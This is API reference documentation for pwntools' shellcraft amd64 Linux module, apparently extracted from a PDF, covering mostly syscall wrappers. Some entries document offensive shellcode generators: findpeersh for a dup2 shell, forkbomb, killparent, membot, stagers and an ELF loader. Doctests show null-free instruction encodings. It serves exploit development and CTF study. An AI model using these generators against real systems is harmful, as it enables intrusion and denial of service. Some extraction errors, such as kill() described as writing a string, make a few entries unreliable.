pwnlib.shellcraft.amd64.linux.findpeer(port=None)

Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in RDI.

pwnlib.shellcraft.amd64.linux.findpeersh(port=None)

Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

pwnlib.shellcraft.amd64.linux.findpeerstager(port=None)

Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

pwnlib.shellcraft.amd64.linux.**flock** (*fd*, *operation*)

Invokes the syscall flock. See 'man 2 flock' for more information.

Parameters

- **fd**(int)-fd
- operation (int) operation

pwnlib.shellcraft.amd64.linux.fork()

Invokes the syscall fork. See 'man 2 fork' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.forkbomb()

Performs a forkbomb attack.

pwnlib.shellcraft.amd64.linux.forkexit()

Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.amd64.linux.fstat(fd, buf)

Invokes the syscall fstat. See 'man 2 fstat' for more information.

Parameters

- **fd** (int) fd
- buf (stat) buf

pwnlib.shellcraft.amd64.linux.fstat64(fd, buf)

Invokes the syscall fstat64. See 'man 2 fstat64' for more information.

Parameters

- **fd** (int) fd
- **buf** (stat64) buf

pwnlib.shellcraft.amd64.linux.fstatat64(fd, file, buf, flag)

Invokes the syscall fstatat64. See 'man 2 fstatat64' for more information.

Parameters

- **fd**(int)-fd
- file (char) file
- **buf** (stat64) buf
- flag(int)-flag

pwnlib.shellcraft.amd64.linux.fsync(fd)

Invokes the syscall fsync. See 'man 2 fsync' for more information.

Parameters
$$fd(int) - fd$$

pwnlib.shellcraft.amd64.linux.ftruncate(fd, length)

Invokes the syscall ftruncate. See 'man 2 ftruncate' for more information.

Parameters

- **fd**(int)-fd
- length (off_t) length

pwnlib.shellcraft.amd64.linux.ftruncate64 (fd, length)

Invokes the syscall ftruncate64. See 'man 2 ftruncate64' for more information.

- **fd**(int)-fd
- length (off64_t) length

pwnlib.shellcraft.amd64.linux.futimesat(fd, file, tvp)

Invokes the syscall futimesat. See 'man 2 futimesat' for more information.

Parameters

- fd(int)-fd
- file (char) file
- tvp (timeval) tvp

pwnlib.shellcraft.amd64.linux.getcwd(buf, size)

Invokes the syscall getcwd. See 'man 2 getcwd' for more information.

Parameters

- buf (char) buf
- **size** (*size_t*) **size**

pwnlib.shellcraft.amd64.linux.getegid()

Invokes the syscall getegid. See 'man 2 getegid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.geteuid()

Invokes the syscall geteuid. See 'man 2 geteuid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.getgid()

Invokes the syscall getgid. See 'man 2 getgid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.getgroups (size, list)

Invokes the syscall getgroups. See 'man 2 getgroups' for more information.

Parameters

- size (int) size
- **list** (gid_t) list

pwnlib.shellcraft.amd64.linux.getitimer(which, value)

Invokes the syscall getitimer. See 'man 2 getitimer' for more information.

Parameters

- which (itimer_which_t) which
- value (itimerval) value

 $\verb|pwnlib.shellcraft.amd64.linux.getpeername| (\textit{fd}, \textit{addr}, \textit{length})$

Invokes the syscall getpeername. See 'man 2 getpeername' for more information.

Parameters

- **fd** (int) fd
- addr (SOCKADDR ARG) addr
- len (socklen t) len

pwnlib.shellcraft.amd64.linux.getpgid(pid)

Invokes the syscall getpgid. See 'man 2 getpgid' for more information.

Parameters pid (pid_t) - pid

pwnlib.shellcraft.amd64.linux.getpgrp()

Invokes the syscall getpgrp. See 'man 2 getpgrp' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.getpid()

Retrieve the current PID

pwnlib.shellcraft.amd64.linux.getpmsg (fildes, ctlptr, dataptr, bandp, flagsp)
Invokes the syscall getpmsg. See 'man 2 getpmsg' for more information.

Parameters

- fildes (int) fildes
- ctlptr (strbuf) ctlptr
- dataptr (strbuf) dataptr
- bandp (int) bandp
- flagsp (int) flagsp

pwnlib.shellcraft.amd64.linux.getppid()

Invokes the syscall getppid. See 'man 2 getppid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.getpriority(which, who)

Invokes the syscall getpriority. See 'man 2 getpriority' for more information.

Parameters

- which (priority_which_t) which
- **who** (*id_t*) who

pwnlib.shellcraft.amd64.linux.getresgid(rgid, egid, sgid)

Invokes the syscall getresgid. See 'man 2 getresgid' for more information.

Parameters

- **rgid** (*gid_t*) **rgid**
- egid (gid_t) egid
- sqid(qid t) sgid

pwnlib.shellcraft.amd64.linux.getresuid(ruid, euid, suid)

Invokes the syscall getresuid. See 'man 2 getresuid' for more information.

Parameters

- **ruid** (*uid_t*) **ruid**
- **euid** (*uid_t*) **euid**
- **suid** (*uid_t*) **suid**

pwnlib.shellcraft.amd64.linux.getrlimit(resource, rlimits)

Invokes the syscall getrlimit. See 'man 2 getrlimit' for more information.

Parameters

- resource (rlimit_resource_t) resource
- rlimits (rlimit) rlimits

pwnlib.shellcraft.amd64.linux.getrusage(who, usage)

Invokes the syscall getrusage. See 'man 2 getrusage' for more information.

Parameters

- who (rusage_who_t) who
- usage (rusage) usage

pwnlib.shellcraft.amd64.linux.getsid(pid)

Invokes the syscall getsid. See 'man 2 getsid' for more information.

pwnlib.shellcraft.amd64.linux.getsockname(fd, addr, length)

Invokes the syscall getsockname. See 'man 2 getsockname' for more information.

Parameters

- **fd** (int) fd
- addr (SOCKADDR ARG) addr
- len (socklen_t) len

 $\verb|pwnlib.shellcraft.amd64.linux.getsockopt| (\textit{fd}, \textit{level}, \textit{optname}, \textit{optval}, \textit{optlen})|$

Invokes the syscall getsockopt. See 'man 2 getsockopt' for more information.

Parameters

- **fd**(int)-fd
- level (int) level
- optname (int) optname
- optval (void) optval
- optlen (socklen_t) optlen

pwnlib.shellcraft.amd64.linux.gettimeofday(tv, tz)

Invokes the syscall gettimeofday. See 'man 2 gettimeofday' for more information.

Parameters

- **tv**(timeval)-tv
- tz(timezone ptr t)-tz

pwnlib.shellcraft.amd64.linux.getuid()

Invokes the syscall getuid. See 'man 2 getuid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.gtty(fd, params)

Invokes the syscall gtty. See 'man 2 gtty' for more information.

Parameters

- **fd** (int) fd
- params (sgttyb) params

pwnlib.shellcraft.amd64.linux.ioctl(fd, request, vararg)

Invokes the syscall ioctl. See 'man 2 ioctl' for more information.

- **fd** (int) fd
- request (unsigned) request
- vararg (int) vararg

pwnlib.shellcraft.amd64.linux.ioperm(from_, num, turn_on)

Invokes the syscall ioperm. See 'man 2 ioperm' for more information.

Parameters

- from (unsigned) from
- num (unsigned) num
- turn_on (int) turn_on

pwnlib.shellcraft.amd64.linux.iopl(level)

Invokes the syscall iopl. See 'man 2 iopl' for more information.

pwnlib.shellcraft.amd64.linux.kill(pid, signal='SIGKILL')

Writes a string to a file descriptor

pwnlib.shellcraft.amd64.linux.killparent()

Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.amd64.linux.lchown (file, owner, group)

Invokes the syscall lchown. See 'man 2 lchown' for more information.

Parameters

- file (char) file
- owner (uid_t) owner
- **group** (gid_t) group

pwnlib.shellcraft.amd64.linux.link(from_, to)

Invokes the syscall link. See 'man 2 link' for more information.

Parameters

- from (char) from
- to (char) to

pwnlib.shellcraft.amd64.linux.linkat(fromfd, from_, tofd, to, flags)

Invokes the syscall linkat. See 'man 2 linkat' for more information.

Parameters

- fromfd(int) fromfd
- from (char) from
- tofd(int)-tofd
- to (char) to
- flags (int) flags

pwnlib.shellcraft.amd64.linux.listen(port, network)

Listens on a TCP port, accept a client and leave his socket in RAX. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

```
pwnlib.shellcraft.amd64.linux.loader(address)
```

Loads a statically-linked ELF into memory and transfers control.

Parameters address (int) – Address of the ELF as a register or integer.

```
pwnlib.shellcraft.amd64.linux.loader_append(data=None)
```

Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters data (str) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If None, it is ignored.

Example

```
>>> gcc = process(['gcc','-m64','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write('''
... int main() {
... printf("Hello, %s!\\n", "amd64");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
#>>> run_assembly(sc).recvline() == 'Hello, amd64!n' # True
```

pwnlib.shellcraft.amd64.linux.lseek(fd, offset, whence)

Invokes the syscall Iseek. See 'man 2 Iseek' for more information.

Parameters

- fd(int)-fd
- offset (off t) offset
- whence (int) whence

pwnlib.shellcraft.amd64.linux.lstat(file, buf)

Invokes the syscall lstat. See 'man 2 lstat' for more information.

Parameters

- file (char) file
- buf (stat) buf

pwnlib.shellcraft.amd64.linux.lstat64(file, buf)

Invokes the syscall lstat64. See 'man 2 lstat64' for more information.

Parameters

- file (char) file
- **buf** (stat64) buf

pwnlib.shellcraft.amd64.linux.madvise(addr, length, advice)

Invokes the syscall madvise. See 'man 2 madvise' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len
- advice (int) advice

pwnlib.shellcraft.amd64.linux.membot(readsock=0, writesock=1)

Read-write access to a remote process' memory.

Provide a single pointer-width value to determine the operation to perform:

- •0: Exit the loop
- •1: Read data
- •2: Write data

pwnlib.shellcraft.amd64.linux.migrate_stack (size=1048576, fd=0) Migrates to a new stack.

pwnlib.shellcraft.amd64.linux.mincore(start, length, vec)

Invokes the syscall mincore. See 'man 2 mincore' for more information.

Parameters

- start (void) start
- len (size t) len
- **vec** (unsigned) **vec**

pwnlib.shellcraft.amd64.linux.mkdir(path, mode)

Invokes the syscall mkdir. See 'man 2 mkdir' for more information.

Parameters

- path (char) path
- mode (mode_t) mode

pwnlib.shellcraft.amd64.linux.mkdirat(fd, path, mode)

Invokes the syscall mkdirat. See 'man 2 mkdirat' for more information.

Parameters

- **fd** (int) fd
- path (char) path
- mode (mode t) mode

pwnlib.shellcraft.amd64.linux.mknod(path, mode, dev)

Invokes the syscall mknod. See 'man 2 mknod' for more information.

Parameters

- path (char) path
- mode (mode_t) mode
- **dev** (dev_t) dev

pwnlib.shellcraft.amd64.linux.mknodat(fd, path, mode, dev)

Invokes the syscall mknodat. See 'man 2 mknodat' for more information.

Parameters

• fd(int)-fd

```
• path (char) - path
```

- mode (mode t) mode
- **dev** (dev_t) dev

pwnlib.shellcraft.amd64.linux.mlock(addr, length)

Invokes the syscall mlock. See 'man 2 mlock' for more information.

Parameters

- addr (void) addr
- len (size_t) len

pwnlib.shellcraft.amd64.linux.mlockall(flags)

Invokes the syscall mlockall. See 'man 2 mlockall' for more information.

Parameters flags (int) - flags

pwnlib.shellcraft.amd64.linux.mmap(addr=0, length=4096, prot=7, flags=34, fd=-1, offset=0) Invokes the syscall mmap. See 'man 2 mmap' for more information.

Parameters

- addr (void) addr
- length (size_t) length
- prot (int) prot
- flags (int) flags
- **fd** (int) fd
- offset (off_t) offset

pwnlib.shellcraft.amd64.linux.mov(dest, src, stack_allowed=True)

Move src into dest without newlines and null bytes.

If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

If the src is a register larger than the dest, then only some of the bits will be used.

If src is a string that is not a register, then it will locally set *context.arch* to 'amd64' and use pwnlib.constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

```
>>> print shellcraft.amd64.mov('eax','ebx').rstrip()
    mov eax, ebx
>>> print shellcraft.amd64.mov('eax', 0).rstrip()
    xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('ax', 0).rstrip()
    xor ax, ax /* 0 */
>>> print shellcraft.amd64.mov('rax', 0).rstrip()
    xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('rdi', 'ax').rstrip()
    movzx edi, ax
>>> print shellcraft.amd64.mov('al', 'ax').rstrip()
```

```
/* moving ax into al, but this is a no-op */
>>> print shellcraft.amd64.mov('ax', 'bl').rstrip()
   movzx ax, bl
>>> print shellcraft.amd64.mov('eax', 1).rstrip()
   push 1
   pop rax
>>> print shellcraft.amd64.mov('rax', 0xc0).rstrip()
   xor eax, eax
   mov al, 0xc0
>>> print shellcraft.amd64.mov('rax', 0xc000).rstrip()
   xor eax, eax
   mov ah, 0xc000 >> 8
>>> print shellcraft.amd64.mov('rax', 0xc0c0).rstrip()
   xor eax, eax
   mov ax, 0xc0c0
>>> print shellcraft.amd64.mov('rdi', 0xff).rstrip()
   mov edi, 0x1010101 / * 255 == 0xff */
    xor edi, 0x10101fe
>>> print shellcraft.amd64.mov('rax', 0xdead00ff).rstrip()
   mov eax, 0x1010101 / * 3735879935 == 0xdead00ff */
   xor eax, 0xdfac01fe
>>> print shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip()
   mov rax, 0x101010101010101 / * 76750323967 == 0x11dead00ff */
   push rax
   mov rax, 0x1010110dfac01fe
   xor [rsp], rax
   pop rax
```

```
>>> with context.local(os = 'linux'):
...    print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
        xor eax, eax /* (SYS_read) */
>>> with context.local(os = 'freebsd'):
...    print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
        push (SYS_read) /* 3 */
        pop rax
>>> with context.local(os = 'linux'):
...    print shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip()
        push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
        pop rax
```

- **dest** (str) The destination register.
- src(str) Either the input register, or an immediate value.
- **stack_allowed** (bool) Can the stack be used?

pwnlib.shellcraft.amd64.linux.mprotect (addr, length, prot)
Invokes the syscall mprotect. See 'man 2 mprotect' for more information.

Parameters

- addr (void) addr
- length (size_t) length
- prot (int) prot

Parameters

- mqdes (mqd_t) mqdes
- notification (sigevent) notification

pwnlib.shellcraft.amd64.linux.mq_open (name, oflag, vararg)
Invokes the syscall mq_open. See 'man 2 mq_open' for more information.

Parameters

- name (char) name
- oflag(int) oflag
- vararg(int) vararg

pwnlib.shellcraft.amd64.linux.mq_timedreceive(mqdes, msg_ptr, msg_len, msg_prio, abs_timeout)

Invokes the syscall mq_timedreceive. See 'man 2 mq_timedreceive' for more information.

Parameters

- mqdes (mqd_t) mqdes
- msg_ptr (char) msg_ptr
- msg_len (size_t) msg_len
- msg_prio (unsigned) msg_prio
- abs_timeout (timespec) abs_timeout

pwnlib.shellcraft.amd64.linux.mq_timedsend(mqdes, msg_ptr, msg_len, msg_prio, abs_timeout)

Invokes the syscall mq_timedsend. See 'man 2 mq_timedsend' for more information.

Parameters

- mqdes (mqd_t) mqdes
- msg_ptr (char) msg_ptr
- msg_len (size_t) msg_len
- msg_prio (unsigned) msg_prio
- abs_timeout (timespec) abs_timeout

pwnlib.shellcraft.amd64.linux.mq unlink(name)

Invokes the syscall mq_unlink. See 'man 2 mq_unlink' for more information.

Parameters name (char) - name

pwnlib.shellcraft.amd64.linux.**mremap**(addr, old_len, new_len, flags, vararg)
Invokes the syscall mremap. See 'man 2 mremap' for more information.

Parameters

- addr (void) addr
- old_len (size_t) old_len
- new_len (size_t) new_len
- flags (int) flags

• vararg(int) - vararg

pwnlib.shellcraft.amd64.linux.msync(addr, length, flags)

Invokes the syscall msync. See 'man 2 msync' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len
- flags (int) flags

pwnlib.shellcraft.amd64.linux.munlock(addr, length)

Invokes the syscall munlock. See 'man 2 munlock' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len

pwnlib.shellcraft.amd64.linux.munlockall()

Invokes the syscall munlockall. See 'man 2 munlockall' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.munmap(addr, length)

Invokes the syscall munmap. See 'man 2 munmap' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len

pwnlib.shellcraft.amd64.linux.nanosleep(requested_time, remaining)

Invokes the syscall nanosleep. See 'man 2 nanosleep' for more information.

Parameters

- requested_time (timespec) requested_time
- remaining (timespec) remaining

pwnlib.shellcraft.amd64.linux.nice(inc)

Invokes the syscall nice. See 'man 2 nice' for more information.

pwnlib.shellcraft.amd64.linux.open(file, oflag, vararg)

Invokes the syscall open. See 'man 2 open' for more information.

Parameters

- file (char) file
- oflag(int)-oflag
- vararg(int) vararg

pwnlib.shellcraft.amd64.linux.openat(fd, file, oflag, vararg)

Invokes the syscall openat. See 'man 2 openat' for more information.

- **fd**(int)-fd
- file (char) file

- oflag (int) oflag
- vararg(int) vararg

pwnlib.shellcraft.amd64.linux.pause()

Invokes the syscall pause. See 'man 2 pause' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.pipe (pipedes)

Invokes the syscall pipe. See 'man 2 pipe' for more information.

Parameters pipedes (int) - pipedes

pwnlib.shellcraft.amd64.linux.pipe2 (pipedes, flags)

Invokes the syscall pipe2. See 'man 2 pipe2' for more information.

Parameters

- pipedes (int) pipedes
- flags (int) flags

pwnlib.shellcraft.amd64.linux.**poll** (*fds*, *nfds*, *timeout*)
Invokes the syscall poll. See 'man 2 poll' for more information.

Parameters

- **fds** (pollfd) fds
- **nfds** (nfds_t) nfds
- timeout (int) timeout

pwnlib.shellcraft.amd64.linux.**ppoll** (*fds*, *nfds*, *timeout*, *ss*) Invokes the syscall ppoll. See 'man 2 ppoll' for more information.

Parameters

- fds (pollfd) fds
- **nfds** (nfds_t) nfds
- timeout (timespec) timeout
- **ss** (sigset_t) ss

pwnlib.shellcraft.amd64.linux.prctl(option, *vararg)

Invokes the syscall prctl. See 'man 2 prctl' for more information.

Parameters

- option (int) option
- vararg (int) vararg

pwnlib.shellcraft.amd64.linux.pread(fd, buf, nbytes, offset)

Invokes the syscall pread. See 'man 2 pread' for more information.

- **fd** (int) fd
- **buf** (*void*) buf
- **nbytes** (size_t) **nbytes**
- offset (off t) offset

pwnlib.shellcraft.amd64.linux.**preadv** (*fd*, *iovec*, *count*, *offset*) Invokes the syscall preadv. See 'man 2 preadv' for more information.

Parameters

- **fd**(int)-fd
- iovec (iovec) iovec
- count (int) count
- offset (off_t) offset

pwnlib.shellcraft.amd64.linux.**prlimit64** (*pid*, *resource*, *new_limit*, *old_limit*) Invokes the syscall prlimit64. See 'man 2 prlimit64' for more information.

Parameters

- **pid** (pid_t) pid
- resource (rlimit_resource) resource
- new limit (rlimit64) new limit
- old_limit (rlimit64) old_limit

pwnlib.shellcraft.amd64.linux.**profil** (sample_buffer, size, offset, scale) Invokes the syscall profil. See 'man 2 profil' for more information.

Parameters

- sample_buffer (unsigned) sample_buffer
- **size** (*size_t*) **size**
- **offset** (size_t) offset
- scale (unsigned) scale

pwnlib.shellcraft.amd64.linux.ptrace(request, *vararg)
Invokes the syscall ptrace. See 'man 2 ptrace' for more information.

Parameters

- request (ptrace_request) request
- **vararg** (*int*) vararg

pwnlib.shellcraft.amd64.linux.push(value)

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch* = 'amd64' using pwnlib.constants.eval() before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters value (int, str) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.amd64.push(0).rstrip()
    /* push 0 */
    push 1
    dec byte ptr [rsp]
>>> print pwnlib.shellcraft.amd64.push(1).rstrip()
    /* push 1 */
```

pwnlib.shellcraft.amd64.linux.putpmsg (fildes, ctlptr, dataptr, band, flags)
Invokes the syscall putpmsg. See 'man 2 putpmsg' for more information.

Parameters

- fildes (int) fildes
- ctlptr(strbuf) ctlptr
- dataptr (strbuf) dataptr
- band (int) band
- flags (int) flags

pwnlib.shellcraft.amd64.linux.**pwrite** (*fd*, *buf*, *n*, *offset*)

Invokes the syscall pwrite. See 'man 2 pwrite' for more information.

Parameters

- **fd** (int) fd
- **buf** (*void*) buf
- n(size_t)-n
- offset (off_t) offset

pwnlib.shellcraft.amd64.linux.**pwritev** (*fd*, *iovec*, *count*, *offset*) Invokes the syscall pwritev. See 'man 2 pwritev' for more information.

Parameters

- **fd** (int) fd
- iovec (iovec) iovec
- count (int) count
- offset (off_t) offset

pwnlib.shellcraft.amd64.linux.read(fd=0, buffer='rsp', count=8)

Reads data from the file descriptor into the provided buffer. This is a one-shot and does not fill the request.

pwnlib.shellcraft.amd64.linux.read_upto(fd=0, buffer='rsp', sizereg='rdx')

Reads up to N bytes 8 bytes into the specified register

pwnlib.shellcraft.amd64.linux.readahead(fd, offset, count)

Invokes the syscall readahead. See 'man 2 readahead' for more information.

- **fd** (int) fd
- offset (off64 t) offset
- count (size_t) count

pwnlib.shellcraft.amd64.linux.readdir(dirp)

Invokes the syscall readdir. See 'man 2 readdir' for more information.

Parameters dirp (DIR) - dirp

pwnlib.shellcraft.amd64.linux.readfile(path, dst='rdi')

Args: [path, dst (imm/reg) = rdi] Opens the specified file path and sends its content to the specified file descriptor.

pwnlib.shellcraft.amd64.linux.readinto(sock=0)

Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

pwnlib.shellcraft.amd64.linux.readlink(path, buf, length)

Invokes the syscall readlink. See 'man 2 readlink' for more information.

Parameters

- path (char) path
- buf (char) buf
- len (size_t) len

pwnlib.shellcraft.amd64.linux.readlinkat(fd, path, buf, length)

Invokes the syscall readlinkat. See 'man 2 readlinkat' for more information.

Parameters

- **fd**(int)-fd
- path (char) path
- buf (char) buf
- **len** (*size_t*) len

pwnlib.shellcraft.amd64.linux.readloop(sock=0)

Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

pwnlib.shellcraft.amd64.linux.readn(fd, buf, nbytes)

Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

Parameters

- fd(int)-fd
- **buf** (*void*) **buf**
- **nbytes** (size_t) **nbytes**

pwnlib.shellcraft.amd64.linux.readptr(fd=0, target_reg='rdx')

Reads 8 bytes into the specified register

pwnlib.shellcraft.amd64.linux.readv (fd, iovec, count)

Invokes the syscall readv. See 'man 2 readv' for more information.

Parameters

• fd (int) - fd

- iovec (iovec) iovec
- count (int) count

pwnlib.shellcraft.amd64.linux.recv(fd, buf, n, flags)

Invokes the syscall recv. See 'man 2 recv' for more information.

Parameters

- **fd**(int)-fd
- buf (void) buf
- n(size_t)-n
- flags (int) flags

pwnlib.shellcraft.amd64.linux.recvfrom (fd, buf, n, flags, addr, addr_len) Invokes the syscall recvfrom. See 'man 2 recvfrom' for more information.

Parameters

- **fd**(int)-fd
- **buf** (*void*) **buf**
- n(size_t)-n
- flags (int) flags
- addr (SOCKADDR ARG) addr
- addr_len (socklen_t) addr_len

pwnlib.shellcraft.amd64.linux.recvmmsg (fd, vmessages, vlen, flags, tmo) Invokes the syscall recvmmsg. See 'man 2 recvmmsg' for more information.

Parameters

- fd(int)-fd
- vmessages (mmsqhdr) vmessages
- vlen (unsigned) vlen
- flags (int) flags
- tmo (timespec) tmo

pwnlib.shellcraft.amd64.linux.recvmsg(fd, message, flags)

Invokes the syscall recvmsg. See 'man 2 recvmsg' for more information.

Parameters

- fd(int)-fd
- message (msghdr) message
- flags (int) flags

pwnlib.shellcraft.amd64.linux.recvsize(sock, reg='rcx')

Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

Leaves socket in ebx

pwnlib.shellcraft.amd64.linux.remap_file_pages (start, size, prot, pgoff, flags)
Invokes the syscall remap_file_pages. See 'man 2 remap_file_pages' for more information.

Parameters

- start (void) start
- **size** (*size_t*) **size**
- prot (int) prot
- pgoff (size_t) pgoff
- flags (int) flags

pwnlib.shellcraft.amd64.linux.rename(old, new)

Invokes the syscall rename. See 'man 2 rename' for more information.

Parameters

- old (char) old
- new (char) new

 $\verb|pwnlib.shellcraft.amd64.linux.renameat| (oldfd, old, newfd, new)$

Invokes the syscall renameat. See 'man 2 renameat' for more information.

Parameters

- oldfd (int) oldfd
- old (char) old
- newfd(int) newfd
- new (char) new

pwnlib.shellcraft.amd64.linux.rmdir(path)

Invokes the syscall rmdir. See 'man 2 rmdir' for more information.

Parameters path (char) - path

pwnlib.shellcraft.amd64.linux.sched_get_priority_max(algorithm)

Invokes the syscall sched_get_priority_max. See 'man 2 sched_get_priority_max' for more information.

pwnlib.shellcraft.amd64.linux.sched_get_priority_min(algorithm)

Invokes the syscall sched_get_priority_min. See 'man 2 sched_get_priority_min' for more information.

pwnlib.shellcraft.amd64.linux.sched_getaffinity(pid, cpusetsize, cpuset)

Invokes the syscall sched_getaffinity. See 'man 2 sched_getaffinity' for more information.

Parameters

- **pid** (pid_t) **pid**
- cpusetsize (size_t) cpusetsize
- cpuset (cpu_set_t) cpuset

pwnlib.shellcraft.amd64.linux.sched_getparam(pid, param)

Invokes the syscall sched_getparam. See 'man 2 sched_getparam' for more information.

- **pid** (pid_t) **pid**
- param (sched_param) param

pwnlib.shellcraft.amd64.linux.sched_getscheduler(pid)

Invokes the syscall sched_getscheduler. See 'man 2 sched_getscheduler' for more information.

Parameters pid (pid_t) - pid

pwnlib.shellcraft.amd64.linux.sched_rr_get_interval(pid, t)

Invokes the syscall sched_rr_get_interval. See 'man 2 sched_rr_get_interval' for more information.

Parameters

- **pid** (pid_t) pid
- t(timespec) t

pwnlib.shellcraft.amd64.linux.sched_setaffinity(pid, cpusetsize, cpuset)
Invokes the syscall sched_setaffinity. See 'man 2 sched_setaffinity' for more information.

Parameters

- **pid** (pid_t) **pid**
- cpusetsize (size_t) cpusetsize
- cpuset (cpu_set_t) cpuset

pwnlib.shellcraft.amd64.linux.sched_setparam(pid, param)

Invokes the syscall sched_setparam. See 'man 2 sched_setparam' for more information.

Parameters

- **pid** (pid_t) **pid**
- param (sched_param) param

pwnlib.shellcraft.amd64.linux.sched_setscheduler(pid, policy, param)

Invokes the syscall sched_setscheduler. See 'man 2 sched_setscheduler' for more information.

Parameters

- **pid** (pid_t) **pid**
- policy (int) policy
- param (sched_param) param

pwnlib.shellcraft.amd64.linux.sched_yield()

Invokes the syscall sched_yield. See 'man 2 sched_yield' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.select (nfds, readfds, writefds, exceptfds, timeout)
Invokes the syscall select. See 'man 2 select' for more information.

Parameters

- nfds (int) nfds
- readfds (fd_set) readfds
- writefds (fd set) writefds
- exceptfds (fd_set) exceptfds
- timeout (timeval) timeout

pwnlib.shellcraft.amd64.linux.sendfile(out_fd, in_fd, offset, count)
Invokes the syscall sendfile. See 'man 2 sendfile' for more information.

- out fd(int) out fd
- in_fd (int) in_fd
- offset (off_t) offset
- count (size_t) count

pwnlib.shellcraft.amd64.linux.sendfile64(out_fd, in_fd, offset, count)

Invokes the syscall sendfile64. See 'man 2 sendfile64' for more information.

Parameters

- out_fd(int) out_fd
- in_fd (int) in_fd
- offset (off64_t) offset
- count (size_t) count

pwnlib.shellcraft.amd64.linux.setdomainname(name, length)

Invokes the syscall setdomainname. See 'man 2 setdomainname' for more information.

Parameters

- name (char) name
- **len** (*size_t*) len

pwnlib.shellcraft.amd64.linux.setgid(gid)

Invokes the syscall setgid. See 'man 2 setgid' for more information.

Parameters
$$gid(gid_t) - gid$$

pwnlib.shellcraft.amd64.linux.setgroups(n, groups)

Invokes the syscall setgroups. See 'man 2 setgroups' for more information.

Parameters

- n(size_t)-n
- **groups** (qid_t) groups

pwnlib.shellcraft.amd64.linux.sethostname(name, length)

Invokes the syscall sethostname. See 'man 2 sethostname' for more information.

Parameters

- name (char) name
- **len** (*size t*) len

pwnlib.shellcraft.amd64.linux.setitimer(which, new, old)

Invokes the syscall setitimer. See 'man 2 setitimer' for more information.

Parameters

- which (itimer_which_t) which
- new (itimerval) new
- old(itimerval)-old

pwnlib.shellcraft.amd64.linux.setpgid(pid, pgid)

Invokes the syscall setpgid. See 'man 2 setpgid' for more information.

- **pid** (pid_t) **pid**
- **pgid** (pid_t) **pgid**

pwnlib.shellcraft.amd64.linux.setpriority(which, who, prio)

Invokes the syscall setpriority. See 'man 2 setpriority' for more information.

Parameters

- which (priority_which_t) which
- **who** (*id_t*) who
- prio (int) prio

pwnlib.shellcraft.amd64.linux.setregid(gid='egid')

Args: [gid (imm/reg) = egid] Sets the real and effective group id.

pwnlib.shellcraft.amd64.linux.setresgid(rgid, egid, sgid)

Invokes the syscall setresgid. See 'man 2 setresgid' for more information.

Parameters

- **rgid** (*qid_t*) **rgid**
- egid (gid_t) egid
- **sgid** (*gid_t*) **sgid**

pwnlib.shellcraft.amd64.linux.setresuid(ruid, euid, suid)

Invokes the syscall setresuid. See 'man 2 setresuid' for more information.

Parameters

- **ruid** (*uid_t*) **ruid**
- **euid** (*uid_t*) **euid**
- **suid** (*uid_t*) **suid**

pwnlib.shellcraft.amd64.linux.setreuid(uid='euid')

Args: [uid (imm/reg) = euid] Sets the real and effective user id.

pwnlib.shellcraft.amd64.linux.setrlimit(resource, rlimits)

Invokes the syscall setrlimit. See 'man 2 setrlimit' for more information.

Parameters

- resource (rlimit_resource_t) resource
- rlimits (rlimit) rlimits

pwnlib.shellcraft.amd64.linux.setsid()

Invokes the syscall setsid. See 'man 2 setsid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.setsockopt(sockfd, level, optname, optval, optlen) Invokes the syscall setsockopt. See 'man 2 setsockopt' for more information.

- sockfd(int) sockfd
- level (int) level
- optname (int) optname
- optval (void) optval

• optlen (int) - optlen

pwnlib.shellcraft.amd64.linux.setsockopt_timeout (sock, secs)

Invokes the syscall for setsockopt to set a timeout on a socket in seconds. See 'man 2 setsockopt' for more information.

Parameters

- sock (int) sock
- secs (int) secs

